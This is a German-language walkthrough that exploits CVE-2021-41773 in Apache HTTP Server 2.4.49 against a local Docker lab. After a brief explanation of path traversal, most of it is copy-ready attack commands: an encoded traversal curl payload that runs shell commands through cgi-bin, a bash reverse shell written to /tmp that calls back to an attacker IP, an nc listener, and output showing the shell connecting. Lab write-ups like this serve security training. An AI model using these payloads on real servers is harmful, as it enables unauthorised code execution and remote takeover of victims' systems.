
Die erste Schwachstelle mit der CVE-Kennung CVE-2021-41773 ist ein Path-Traversal-Fehler, der im Apache HTTP Server 2.4.49 existiert.
In einer Änderung der Pfadnormalisierung in Apache HTTP Server 2.4.49 wurde ein Fehler gefunden. Ein Angreifer könnte einen Pfadumgehungsangriff nutzen, um URLs auf Dateien außerhalb der Verzeichnisse abzubilden, die durch Alias-ähnliche Direktiven konfiguriert sind.
Wenn Dateien außerhalb dieser Verzeichnisse nicht durch die übliche Standardkonfiguration "require all denied" geschützt sind, können diese Anfragen erfolgreich sein. Wenn CGI-Skripte auch für diese aliasierten Pfade aktiviert sind, könnte dies eine Remotecodeausführung ermöglichen.
Es ist bekannt, dass dieser Fehler in freier Wildbahn ausgenutzt wird.
Dieses Problem betrifft nur Apache 2.4.49 und nicht frühere Versionen.
Ein Pfadumgehungsangriff (auch bekannt als Directory Traversal) zielt darauf ab, auf Dateien und Verzeichnisse zuzugreifen, die außerhalb des Web-Root-Ordners gespeichert sind. Durch die Manipulation von Variablen, die auf Dateien mit "dot-dot-slash (../)"-Sequenzen und deren Variationen verweisen, oder durch die Verwendung absoluter Dateipfade kann es möglich sein, auf beliebige Dateien und Verzeichnisse im Dateisystem zuzugreifen, einschließlich Anwendungsquellcode, Konfigurationen und kritischer Systemdateien. Es ist zu beachten, dass der Zugriff auf Dateien durch die betriebssystemabhängige Zugriffskontrolle (z. B. bei gesperrten oder in Benutzung befindlichen Dateien unter Microsoft Windows) eingeschränkt sein kann.
Dieser Angriff ist auch bekannt als "dot-dot-slash", "directory traversal", "directory climbing" und "backtracking".
$ docker-compose build
$ docker-compose up
Funktionsprüfung
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Opfer : localhost:1234
Angreifer : 192.168.1.12
Laut Dokumentation handelt es sich um einen Fehler, der es uns ermöglicht, Code auf dem entfernten System auszuführen (RCE).
Wir können ihn ausnutzen, indem wir einen curl mit dem cgi-bin-Ordner ausführen.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Prüfen wir, ob wir tatsächlich Zugriff auf einen Befehl haben, z. B. id:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Reverse Shell
Wir werden eine Reverse Shell testen, indem wir eine Bash-Datei auf dem Server des Opfers erstellen.
Nehmen wir als Beispiel die Reverse Shell in Bash aus dem Repository PayloadsAllTheThings.
Hier ist ein Beispiel:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Erstellen wir die Datei vuln.sh auf dem Rechner des Opfers im Ordner /tmp/!
Diese Datei enthält unsere Reverse Shell, die wir remote ausführen können. Sie verbindet sich mit unserem lokalen Rechner auf Port 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Überprüfen Sie den Inhalt der Datei mit dem Befehl cat:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Listener mit ncat
Erstellen wir den Listener auf dem lokalen Rechner.
$ nc -lvnp 44
Es bleibt nur noch, die entfernte Datei auszuführen.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Antwort:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.